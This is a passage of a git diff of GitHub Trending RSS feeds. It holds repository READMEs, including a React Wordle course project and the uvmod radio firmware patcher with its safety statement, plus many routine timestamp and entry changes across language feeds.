按钮,选择刚下载解压的插件文件夹内的 <code>src</code> 目录,确定安装。</li> <li>你可以在 <code>扩展程序</code> 中看到 <code>ChatGPT Auth Helper</code> 说明安装成功。</li> <li>现在你的 <code>Chrome</code> 可以用来使用 <code>https://ai.fakeopen.com/auth</code> 服务了。</li> </ol> - - - joy-of-react/project-wordle - 2023-09-24T01:48:19Z - tag:github.com,2023-09-24:/joy-of-react/project-wordle - - <p></p><hr><h1>Word Game</h1> <h2>Joy of React, Project I</h2> <p>In this project, we'll recreate a popular online word game, Wordle:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/wordle-demo.gif" alt="Demo showing the finished product, our Wordle clone"></p> <p>In Wordle, users have 6 attempts to guess a 5-letter word. You're helped along the way by ruling out letters that aren't in the word, and being told whether the correct letters are in the correct location or not.</p> <h2>Getting Started</h2> <p>This project is created with <a href="https://parceljs.org/">Parcel</a>, a modern JS build tool. It's intended to be run locally, on your computer, using Node.js and NPM.</p> <p>If you're not sure how to run a local development server, or if you run into some trouble, check out the <a href="https://courses.joshwcomeau.com/joy-of-react/project-wordle/03-dev-server">“Local Development” instructions</a>. It includes all the info you need to know, including troubleshooting common issues.</p> <blockquote> <p><strong>NOTE: This project is tricky!</strong></p> <p>This project is meant to be challenging, because I believe that the best way to learn is to be challenged. Depending on your experience level, though, you may feel like it's unreasonably difficult.</p> <p>This workshop is split into 5 exercises, and each exercise has a solution video. If you spend more than 10 minutes stuck on an exercise, I encourage you to <strong>watch the solution.</strong> If things are still unclear after that, please ask questions in the Discord community!</p> </blockquote> <h2>Exercise 1: GuessInput</h2> <p>First thing’s first: we need a way to submit guesses!</p> <p>In the standard Wordle game, a global event listener registers keypresses. This isn't very accessible, and so we're going to do things a little bit differently.</p> <p>We'll render a little form that holds a text input:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/guess-input.png" alt="Screenshot showing the guess input UI"></p> <p>Your job in this first exercise is to create a new component for this UI, and render it inside the <code>Game</code> component.</p> <p>Here's a minimal representation of the markup expected to be produced by this new component:</p> <pre><code class="language-html">&lt;form class="guess-input-wrapper"&gt; &lt;label for="guess-input"&gt;Enter guess:&lt;/label&gt; &lt;input id="guess-input" type="text" /&gt; &lt;/form&gt; </code></pre> <p><strong>NOTE:</strong> This is the <em>minimal</em> markup required, for the styles to be applied and for accessibility. <strong>It isn't set in stone!</strong> Feel free to make tweaks in order to match all of the acceptance criteria below.</p> <p>Here's a quick screen recording of the expected result:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/submit-guess.gif" alt="Screen recording showing the guess being entered. It gets logged to the console, and erased from the input"></p> <p><strong>Acceptance Criteria:</strong></p> <ul> <li>Create a new component. <ul> <li>Don't forget, you can use an NPM script to generate the scaffolding for you! We learn how to do this in the <a href="https://courses.joshwcomeau.com/joy-of-react/project-wordle/04-overview">“Getting Started” video</a></li> </ul> </li> <li>This component should render a <code>&lt;form&gt;</code> tag, including a label and a text input.</li> <li>The text input should be controlled by React state.</li> <li>When the form is submitted: <ul> <li>The entered value should be logged to the console (for now).</li> <li>The input should be reset to an empty string.</li> </ul> </li> <li><strong>The user's input should be converted to ALL UPPERCASE.</strong> No lower-case letters allowed.</li> <li>The input should have a minimum and maximum length of 5. <ul> <li><strong>NOTE:</strong> The <code>minLength</code> validator is a bit funky; you may wish to use the <code>pattern</code> attribute instead. This is discussed in more detail on the <a href="https://courses.joshwcomeau.com/joy-of-react/project-wordle/06-solution#an-alternative-to-minlength">Solution page</a>.</li> </ul> </li> </ul> <h2>Exercise 2: Keeping track of guesses</h2> <p>Instead of obliterating the user's guess, let's add it to a list, so we can show the user all of their previously-submitted guesses!</p> <p>For now, we aren't worrying about any game-logic stuff. We're still setting up the scaffolding, getting some of the component + DOM structure in place.</p> <p>Our goal in this exercise is to render each of the user's guesses:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/printed-word-list.gif" alt="Screen recording showing each guess printed out above the text input from the last exercise"></p> <p>And here's an example of the expected DOM structure:</p> <pre><code class="language-html">&lt;div class="guess-results"&gt; &lt;p class="guess"&gt;FIRST&lt;/p&gt; &lt;p class="guess"&gt;GUESS&lt;/p&gt; &lt;/div&gt; </code></pre> <p><strong>Acceptance Criteria:</strong></p> <ul> <li>A new component should be created, to render previous guesses.</li> <li>When the user submits their guess, that value should be rendered within this new component.</li> <li>There should be no key warnings in the console!</li> </ul> <h2>Exercise 3: Guess slots</h2> <p>In the real Wordle game, the initial screen shows 6 rows of 5 squares:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/wordle-squares.png" alt="Screenshot of real Wordle, showing a 5x6 grid"></p> <p>In this exercise, we'll update our code to display a similar grid. We'll show 6 rows of guesses, no matter how many guesses the user has submitted, and each row will consist of 5 cells.</p> <p>As the user submits guesses, their guess will populate the cells:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/words-in-cells.gif" alt="Screen recording showing each guess being added to the 5x6 grid"></p> <p>We need to update our DOM structure for the <code>GuessResults</code> component so that it looks something like this:</p> <pre><code class="language-html">&lt;div class="guess-results"&gt; &lt;p class="guess"&gt; &lt;span class="cell"&gt;F&lt;/span&gt; &lt;span class="cell"&gt;I&lt;/span&gt; &lt;span class="cell"&gt;R&lt;/span&gt; &lt;span class="cell"&gt;S&lt;/span&gt; &lt;span class="cell"&gt;T&lt;/span&gt; &lt;/p&gt; &lt;p class="guess"&gt; &lt;span class="cell"&gt;G&lt;/span&gt; &lt;span class="cell"&gt;U&lt;/span&gt; &lt;span class="cell"&gt;E&lt;/span&gt; &lt;span class="cell"&gt;S&lt;/span&gt; &lt;span class="cell"&gt;S&lt;/span&gt; &lt;/p&gt; &lt;p class="guess"&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;/p&gt; &lt;p class="guess"&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;/p&gt; &lt;p class="guess"&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;span class="cell"&gt;&lt;/span&gt; &lt;/p&gt; &lt;/div&gt; </code></pre> <p><strong>Things to know:</strong></p> <p>There are two things that should help you tackle this exercise:</p> <ol> <li>You can use the <code>range</code> utility to create arrays of a specified length to map over. It's provided in <code>/src/utils.js</code>. Check out the “Range Utility” lesson in the course for more info on how to use it.</li> <li>Inside <code>/src/constants.js</code>, you'll find a constant, <code>NUM_OF_GUESSES_ALLOWED</code>. You should import and use this constant when generating the set of guesses. This would make it easy for us to change the difficulty of the game later on, by increasing/decreasing the # of guesses.</li> </ol> <p><strong>Acceptance Criteria:</strong></p> <ul> <li>Create a new <code>Guess</code> component. 6 instances should be rendered at all times, no matter how many guesses have been submitted.</li> <li>The <code>Guess</code> component should render 5 spans, each with the class of <code>cell</code>.</li> <li>Each cell should contain a letter, if the <code>Guess</code> instance has been given a value. If not, the cell should be blank.</li> <li>Use the <code>NUM_OF_GUESSES_ALLOWED</code> constant, when needed.</li> <li>No <code>key</code> warnings in the console.</li> </ul> <h2>Exercise 4: Game logic</h2> <p>Alright: over the first 3 exercises, we've been setting up all of the structure and scaffolding. It's time to do some game-logic stuff!</p> <p>In this exercise, we'll add some CSS classes to color the background of each cell, based on the results and the correct answer:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/words-with-backgrounds.gif" alt="Screen recording. The guesses are applied to the game board, and the background colors update accordingly"></p> <p>Inside <code>/src/game-helpers.js</code>, you'll find a helper function, <code>checkGuess</code>. As parameters, it takes a single guess, as well as the correct answer. It returns an array that contains the status for each letter.</p> <p>For example:</p> <pre><code class="language-js">checkGuess('WHALE', 'LEARN'); /* Returns: [ { letter: 'W', status: 'incorrect' }, { letter: 'H', status: 'incorrect' }, { letter: 'A', status: 'correct' }, { letter: 'L', status: 'misplaced' }, { letter: 'E', status: 'misplaced' }, ] */ </code></pre> <p>There are 3 possible statuses:</p> <ul> <li><strong>correct</strong> — this slot is perfect. It's the right letter in the right place.</li> <li><strong>misplaced</strong> — this letter does exist in the word, but in a different slot.</li> <li><strong>incorrect</strong> — this letter is not found in the word at all.</li> </ul> <p>In the example above, <code>W</code> and <code>H</code> aren't found in the word <code>LEARN</code>, and so they're marked as “incorrect”. <code>A</code> is correct, since it's in the 3rd slot in each word. The other two letters, <code>L</code> and <code>E</code>, are meant to be in other slots.</p> <p><strong>These statuses correspond with CSS classes.</strong> The <code>correct</code> status has a <code>correct</code> class name, which will apply the green background when applied to a cell. Same thing for <code>misplaced</code> and <code>incorrect</code>.</p> <p>Your task is to use this function to validate the user's guesses, and apply the correct CSS classes. The final output for a given guess should look like this:</p> <pre><code class="language-html">&lt;p class="guess"&gt; &lt;span class="cell incorrect"&gt;W&lt;/span&gt; &lt;span class="cell incorrect"&gt;H&lt;/span&gt; &lt;span class="cell correct"&gt;A&lt;/span&gt; &lt;span class="cell misplaced"&gt;L&lt;/span&gt; &lt;span class="cell misplaced"&gt;E&lt;/span&gt; &lt;/p&gt; </code></pre> <p><strong>Acceptance Criteria:</strong></p> <ul> <li>Import the <code>checkGuess</code> function from <code>/src/game-helpers.js</code>, and use it to validate each of the user's guesses</li> <li>When rendering the letters in the <code>Guess</code> component, apply the letter's <code>status</code> to the <code>cell</code> element.</li> <li>"Empty" guess slots should have the same markup as before: <code>&lt;span class="cell"&gt;&lt;/span&gt;</code>.</li> </ul> <h2>Exercise 5: winning and losing</h2> <p>We're so close! We only have one concern left: ending the game.</p> <p>If the user wins the game, a happy banner should be shown:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/happy-banner.png" alt="Screenshot of a won game, showing a green success banner"></p> <p>If the user loses the game, by contrast, a sad banner should be shown:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/sad-banner.png" alt="Screenshot of a won game, showing a red failure banner"></p> <p>The user wins the game when their guessed word is identical to the <code>answer</code>. They lose the game if they submit 6 guesses without winning.</p> <pre><code class="language-html">&lt;div class="happy banner"&gt; &lt;p&gt; &lt;strong&gt;Congratulations!&lt;/strong&gt; Got it in &lt;strong&gt;3 guesses&lt;/strong&gt;. &lt;/p&gt; &lt;/div&gt; </code></pre> <pre><code class="language-html">&lt;div class="sad banner"&gt; &lt;p&gt;Sorry, the correct answer is &lt;strong&gt;LEARN&lt;/strong&gt;.&lt;/p&gt; &lt;/div&gt; </code></pre> <p>When the game is over, one of these banners should be shown, and the text input should be disabled so that no new guesses can be typed or submitted.</p> <p><strong>Acceptance Criteria:</strong></p> <ul> <li>If the user wins the game, a happy banner should be shown.</li> <li>If the user loses the game, a sad banner should be shown</li> <li>When the game is over, the text input should be disabled.</li> <li>It's up to you to decide how to structure the banner! Feel free to create new component(s) if you think it's warranted.</li> </ul> <hr> <h1>Stretch Goals</h1> <p>If you're looking for an additional challenge, give these stretch goals a shot!</p> <p>Unlike the standard exercises, no solution video is available for these goals, though the raw solution source code is available. See the solutions page on the Course Platform.</p> <p>Also, feel free to come up with <em>your own</em> stretch goals! If there's a thing you'd like to implement, go for it!!</p> <h2>Visual Keyboard</h2> <p>In the real Wordle game, a keyboard is shown below the guesses:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/bottom-keyboard-original.png" alt="Screenshot of the Wordle game, showing a keyboard below the game board"></p> <p>This keyboard is an important game element, since it makes it easy to tell which letters have already been tested.</p> <p>Here's what the keyboard looked like in my implementation:</p> <p><img src="https://raw.githubusercontent.com/joy-of-react/project-wordle/main/docs/bottom-keyboard-clone.png" alt="Screenshot of our Wordle clone, showing a keyboard below the game board"></p> <p><strong>Note: Styling isn't provided for stretch goals.</strong> You'll need to come up with your own CSS. You can add it to <code>src/styles.css</code>.</p> <p><strong>Relatedly:</strong> When you add a keyboard, it'll likely be pushed "below the fold" on smaller windows. Don't worry about trying to fit everything in the viewport at once.</p> <p><strong>Acceptance Criteria:</strong></p> <ul> <li>Render 3 rows of letters at the bottom of the screen</li> <li>The colors of each letter should match the colors shown in the game board: <ul> <li>Correct letters should have a green background and white text</li> <li>Misplaced letters should have a yellow background and white text</li> <li>Incorrect letters should have a dark gray background and white text</li> <li>Unused letters should have a light gray background and black text</li> </ul> </li> <li>No need to include "Enter" and "Backspace" keys.</li> <li>Don't worry too much about the styling, trying to get the alignment to look exactly like a real keyboard.</li> </ul> <h2>Restart button</h2> <p>One of Wordle's hooks is that you can only play 1 game per day: there's a new word for all users every day. As a result, there's no "restart button", you just have to wait until the next day.</p> <p>In our clone, we aren't picking a new word every day, we're picking a new word when the app first loads.</p> <p>Update the game so that it can be restarted. Add a "Restart game" button to the banner shown when the user wins or loses.</p> <p><em>HINT:</em> This will require moving the <code>answer</code> into state. You'll want to do the random word selection inside a callback function, the secondary way to initialize state described here: <a href="https://courses.joshwcomeau.com/joy-of-react/02-state/03-use-state#initial-value">https://courses.joshwcomeau.com/joy-of-react/02-state/03-use-state#initial-value</a></p> <p><strong>Acceptance Criteria:</strong></p> <ul> <li>A "Restart Game" button is shown at the end of the game. You can put this button in the <code>GameOverBanner</code>, or wherever else you'd like!</li> <li>Clicking the button should select a new correct word and reset all other state.</li> </ul> - - - whosmatt/uvmod - 2023-09-24T01:48:19Z - tag:github.com,2023-09-24:/whosmatt/uvmod - - <p>Web-based firmware patcher for various Quansheng radios</p><hr><h1><a href="https://whosmatt.github.io/uvmod/">CLICK HERE TO OPEN UVMOD</a></h1> <h2><a href="https://uvmod.xanyi.eu.org/">中文版 Open Chinese Version (maintained independently)</a></h2> <h2><a href="https://uvmod.valek.net.ru/">Open Russian Version (maintained independently)</a></h2> <h2><a href="https://meshtastic.pt/QuanSheng/">Open Portuguese Version (maintained independently)</a></h2> <h3>Info about v26/v27</h3> <p>UVMOD is based on v26 because the newer v27 firmware brings no important changes other than one small fix that only applies to a small number of units.<br> Depending on the factory calibration of some radios, the TX power above 435MHz can be lower than it should be due to a programming oversight.<br> v27 fixes this so that the TX power is always correct. To see if your unit is affected you can either use a power meter, or you can use a receiver with rssi to check if the output power on the L setting is higher than the output power on the H setting.</p> <p>For now, the russian and portuguese version of UVMOD includes limited v27 support, so you can use those if your unit is affected.</p> <p>We are working on a mod that fixes this in v26 as well.</p> <h2>Introduction</h2> <p>Web-based client-side Quansheng firmware patcher and Web Serial flasher written in Javascript and HTML using <a href="https://getbootstrap.com/docs/4.6/getting-started/introduction/">Bootstrap 4.6.0</a>, jQuery and parts of the <a href="https://startbootstrap.com/theme/sb-admin-2">SB Admin 2 Theme</a>.<br> It is based on the discoveries by the many contributors in the <a href="https://github.com/amnemonic/Quansheng_UV-K5_Firmware/tree/main/uvmod_kitchen">uvmod-kitchen</a> and implements the same functionality in a modular and flexible javascript structure.</p> <p>Visitors can generate a patched firmware image by selecting the desired patches. Patches modify the firmware on a binary level and can accept user input to customize variables. A custom base image can be supplied to allow support for mods that are compiled and linked directly into the firmware.<br> The generated firmware can be flashed directly to the radio with supported browsers, no external software is needed.</p> <h2>Mod development</h2> <p>Clone this repository and execute <code>python3 -m http.server</code> or <code>python -m http.server</code> in the root directory for an instant local web server, allowing easy testing.<br> Mods are defined in <a href="https://raw.githubusercontent.com/whosmatt/uvmod/main/mods.js">mods.js</a>, with an example mod to outline the pattern.<br> Also <strong>refer to the helper functions and documentation in</strong> <a href="https://raw.githubusercontent.com/whosmatt/uvmod/main/js/modframework.js">modframework.js</a>.</p> <p>The supported format for binary data is in the format of a hex string <strong>without separators</strong>. You can use find and replace to remove all <code>\x</code> from a regular hex string or directly export the correct format from a bytes object in python using <code>print(''.join('%02x'%i for i in BYTES_OBJECT))</code>.</p> <h2>Statement regarding dangerous clones of UVMOD</h2> <p>The radio spectrum is used by many different people and organizations, some of which are very important to critical infrastructure. Modifying the firmware of a radio needs to be done with care and consideration for the consequences.<br> UVMOD makes it easy and accessible for anyone without any background knowledge to modify the firmware of their radio. <strong>However, certain mods such as TX Unlock mods can not be used legally and safely without a certain amount of background knowledge because the behaviour of these mods is counterintuitive.</strong><br> UVMOD is designed to hide all high-risk mods behind a information section in the instructions to ensure that users are aware of the risks and consequences.</p> <p><strong>Sadly, there has been one person (RE3CON) who has cloned UVMOD and removed all of the safety precautions and warnings.</strong> The team behind UVMOD and the Quansheng modding scene do not condone this behavior and we strongly advise against using this clone.<br> <strong>Use the links at the top of this file to access all approved versions.</strong></p> <h2>Code of Conduct</h2> <p>For the reasons outlined above, we have decided to implement a code of conduct for this project.<br> While we can not stop intentional abuse of the software for illegal purposes, we must at least try to prevent accidental abuse.<br> To accomplish this:</p> <ul> <li>Mods are considered dangerous when they can be abused to break the law or cause harm to others.</li> <li>Mods that are considered dangerous must be hidden using the this.hidden property.</li> <li>Mods that are considered dangerous must have a clear description and an unambiguous title.</li> </ul> <p>Failing to follow the rules above on a fork/clone of the main project may result in a negative public statement and/or a DMCA takedown request from the contributors involved.</p> <p>To further improve the quality of the main project, we also ask that you:</p> <ul> <li>Only include mods that function correctly and have been tested.</li> <li>Only include mods that work without side effects (or at least document the side effects in the description).</li> <li>Avoid putting credit to yourself in the Mod title or description. Any work you do on this project is a collaborative effort building on the work of the people before you, and claiming sole credit for a mod is not in the spirit of this project.</li> </ul> - - \ No newline at end of file diff --git a/csv/daily/index.xml b/csv/daily/index.xml index ef7ac325a13..5485b2df806 100644 --- a/csv/daily/index.xml +++ b/csv/daily/index.xml @@ -1,7 +1,7 @@ GitHub CSV Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:36Z + 2023-09-25T01:27:03Z Daily Trending of CSV in GitHub \ No newline at end of file diff --git a/csv/weekly/index.xml b/csv/weekly/index.xml deleted file mode 100644 index 4df732442ab..00000000000 --- a/csv/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CSV Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:16Z - Weekly Trending of CSV in GitHub - - \ No newline at end of file diff --git a/cuda/daily/index.xml b/cuda/daily/index.xml index 28839abf854..3100cf8952c 100644 --- a/cuda/daily/index.xml +++ b/cuda/daily/index.xml @@ -1,7 +1,14 @@ GitHub Cuda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:38Z + 2023-09-25T01:27:06Z Daily Trending of Cuda in GitHub + + Bruce-Lee-LY/cuda_hgemm + 2023-09-25T01:27:06Z + tag:github.com,2023-09-25:/Bruce-Lee-LY/cuda_hgemm + + <p>Several optimization methods of half-precision general matrix multiplication (HGEMM) using tensor core with WMMA API and MMA PTX instruction.</p><hr> + \ No newline at end of file diff --git a/cuda/weekly/index.xml b/cuda/weekly/index.xml deleted file mode 100644 index 047ae7d6f60..00000000000 --- a/cuda/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Cuda Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:14Z - Weekly Trending of Cuda in GitHub - - - punica-ai/punica - 2023-09-24T01:48:14Z - tag:github.com,2023-09-24:/punica-ai/punica - - <p></p><hr> - - \ No newline at end of file diff --git a/cue/daily/index.xml b/cue/daily/index.xml index d9f69b1a8ee..3737fc2d05f 100644 --- a/cue/daily/index.xml +++ b/cue/daily/index.xml @@ -1,7 +1,7 @@ GitHub CUE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:37Z + 2023-09-25T01:27:04Z Daily Trending of CUE in GitHub \ No newline at end of file diff --git a/cue/weekly/index.xml b/cue/weekly/index.xml deleted file mode 100644 index 90a51b9e606..00000000000 --- a/cue/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CUE Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:15Z - Weekly Trending of CUE in GitHub - - \ No newline at end of file diff --git a/curl-config/daily/index.xml b/curl-config/daily/index.xml index de12c619c61..337b24d175f 100644 --- a/curl-config/daily/index.xml +++ b/curl-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub cURL Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:54Z + 2023-09-25T01:27:15Z Daily Trending of cURL Config in GitHub \ No newline at end of file diff --git a/curl-config/weekly/index.xml b/curl-config/weekly/index.xml deleted file mode 100644 index 3b12914532b..00000000000 --- a/curl-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub cURL Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:27Z - Weekly Trending of cURL Config in GitHub - - \ No newline at end of file diff --git a/curry/daily/index.xml b/curry/daily/index.xml index 5e655f7830d..42021e6903d 100644 --- a/curry/daily/index.xml +++ b/curry/daily/index.xml @@ -1,7 +1,7 @@ GitHub Curry Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:53Z + 2023-09-25T01:27:16Z Daily Trending of Curry in GitHub \ No newline at end of file diff --git a/curry/weekly/index.xml b/curry/weekly/index.xml deleted file mode 100644 index 5940b5c7087..00000000000 --- a/curry/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Curry Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:29Z - Weekly Trending of Curry in GitHub - - \ No newline at end of file diff --git a/cweb/daily/index.xml b/cweb/daily/index.xml index bda184dce14..6158b488e09 100644 --- a/cweb/daily/index.xml +++ b/cweb/daily/index.xml @@ -1,7 +1,7 @@ GitHub CWeb Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:52Z + 2023-09-25T01:27:17Z Daily Trending of CWeb in GitHub \ No newline at end of file diff --git a/cweb/weekly/index.xml b/cweb/weekly/index.xml deleted file mode 100644 index 970dea69e2e..00000000000 --- a/cweb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CWeb Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:29Z - Weekly Trending of CWeb in GitHub - - \ No newline at end of file diff --git a/cycript/daily/index.xml b/cycript/daily/index.xml index a3a83cba7bf..e1f99159100 100644 --- a/cycript/daily/index.xml +++ b/cycript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cycript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:57Z + 2023-09-25T01:27:20Z Daily Trending of Cycript in GitHub \ No newline at end of file diff --git a/cycript/weekly/index.xml b/cycript/weekly/index.xml deleted file mode 100644 index 1bd28baa52c..00000000000 --- a/cycript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cycript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:30Z - Weekly Trending of Cycript in GitHub - - \ No newline at end of file diff --git a/cython/daily/index.xml b/cython/daily/index.xml index 50d9a36fcc5..0eac2f17848 100644 --- a/cython/daily/index.xml +++ b/cython/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cython Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:00Z + 2023-09-25T01:27:21Z Daily Trending of Cython in GitHub \ No newline at end of file diff --git a/cython/weekly/index.xml b/cython/weekly/index.xml deleted file mode 100644 index e825fb3c256..00000000000 --- a/cython/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Cython Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:34Z - Weekly Trending of Cython in GitHub - - - pysam-developers/pysam - 2023-09-24T01:48:34Z - tag:github.com,2023-09-24:/pysam-developers/pysam - - <p>Pysam is a Python module for reading and manipulating SAM/BAM/VCF/BCF files. It's a lightweight wrapper of the htslib C-API, the same one that powers samtools, bcftools, and tabix.</p><hr> - - \ No newline at end of file diff --git a/d-objdump/daily/index.xml b/d-objdump/daily/index.xml index 90eeff77e72..bb7edaca80c 100644 --- a/d-objdump/daily/index.xml +++ b/d-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub D-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:03Z + 2023-09-25T01:27:25Z Daily Trending of D-ObjDump in GitHub \ No newline at end of file diff --git a/d-objdump/weekly/index.xml b/d-objdump/weekly/index.xml deleted file mode 100644 index a9bb29818b1..00000000000 --- a/d-objdump/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub D-ObjDump Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:36Z - Weekly Trending of D-ObjDump in GitHub - - \ No newline at end of file diff --git a/d/daily/index.xml b/d/daily/index.xml index a80ae32399c..879f7112715 100644 --- a/d/daily/index.xml +++ b/d/daily/index.xml @@ -1,7 +1,14 @@ GitHub D Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:58Z + 2023-09-25T01:27:23Z Daily Trending of D in GitHub + + hai046/JNIFrame + 2023-09-25T01:27:23Z + tag:github.com,2023-09-25:/hai046/JNIFrame + + <p>个人JNI框架</p><hr> + \ No newline at end of file diff --git a/d/weekly/index.xml b/d/weekly/index.xml deleted file mode 100644 index f599b0ed76e..00000000000 --- a/d/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub D Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:33Z - Weekly Trending of D in GitHub - - - liamesler/viconia - 2023-09-24T01:48:33Z - tag:github.com,2023-09-24:/liamesler/viconia - - <p>Viconia friendship mod for Baldur's Gate II: Shadows of Amn and Throne of Bhaal.</p><hr> - - - tapg24/xlsx_reader - 2023-09-24T01:48:33Z - tag:github.com,2023-09-24:/tapg24/xlsx_reader - - <p></p><hr> - - \ No newline at end of file diff --git a/dafny/daily/index.xml b/dafny/daily/index.xml index cb9832415b5..21ea1a9d634 100644 --- a/dafny/daily/index.xml +++ b/dafny/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dafny Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:03Z + 2023-09-25T01:27:24Z Daily Trending of Dafny in GitHub \ No newline at end of file diff --git a/dafny/weekly/index.xml b/dafny/weekly/index.xml deleted file mode 100644 index 9e750e254a9..00000000000 --- a/dafny/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Dafny Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:37Z - Weekly Trending of Dafny in GitHub - - \ No newline at end of file diff --git a/darcs-patch/daily/index.xml b/darcs-patch/daily/index.xml index bbfb0f4de5a..5a75e0f28bb 100644 --- a/darcs-patch/daily/index.xml +++ b/darcs-patch/daily/index.xml @@ -1,7 +1,7 @@ GitHub Darcs Patch Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:01Z + 2023-09-25T01:27:26Z Daily Trending of Darcs Patch in GitHub \ No newline at end of file diff --git a/darcs-patch/weekly/index.xml b/darcs-patch/weekly/index.xml deleted file mode 100644 index 6461b85415f..00000000000 --- a/darcs-patch/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Darcs Patch Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:38Z - Weekly Trending of Darcs Patch in GitHub - - \ No newline at end of file diff --git a/dart/daily/index.xml b/dart/daily/index.xml index 115a3ac8725..a063194d933 100644 --- a/dart/daily/index.xml +++ b/dart/daily/index.xml @@ -1,14 +1,7 @@ GitHub Dart Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:09Z + 2023-09-25T01:27:33Z Daily Trending of Dart in GitHub - - Auties00/reboot_launcher - 2023-09-24T01:29:09Z - tag:github.com,2023-09-24:/Auties00/reboot_launcher - - <p>GUI(Flutter & Fluent UI) and CLI Launcher for the Reboot Project</p><hr><h1>Reboot Launcher</h1> <p><img src="https://github.com/Auties00/reboot_launcher/assets/28218457/de2cac8e-7060-4e11-a91f-e01e3c174b9c" alt="Screenshot (34)"> <img src="https://github.com/Auties00/reboot_launcher/assets/28218457/de43d2b8-09fc-4d34-beb1-aa6f7fcaa479" alt="Screenshot (35)"> <img src="https://github.com/Auties00/reboot_launcher/assets/28218457/3337f5cd-81d6-45d8-ab47-8018fb8a6cee" alt="Screenshot (36)"> <img src="https://github.com/Auties00/reboot_launcher/assets/28218457/51086ec7-5e68-4411-b704-7837970741c8" alt="Screenshot (37)"> <img src="https://github.com/Auties00/reboot_launcher/assets/28218457/9aca3e00-85e3-4580-95bd-fef8b389f40b" alt="Screenshot (38)"> <img src="https://github.com/Auties00/reboot_launcher/assets/28218457/faa5d3a3-18c2-4d53-84c5-6eadc0bf4069" alt="Screenshot (39)"> <img src="https://github.com/Auties00/reboot_launcher/assets/28218457/6c449aa6-e515-4680-9ee2-d219761f3268" alt="Screenshot (33)"></p> - \ No newline at end of file diff --git a/dart/weekly/index.xml b/dart/weekly/index.xml deleted file mode 100644 index f56e129b020..00000000000 --- a/dart/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Dart Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:43Z - Weekly Trending of Dart in GitHub - - - 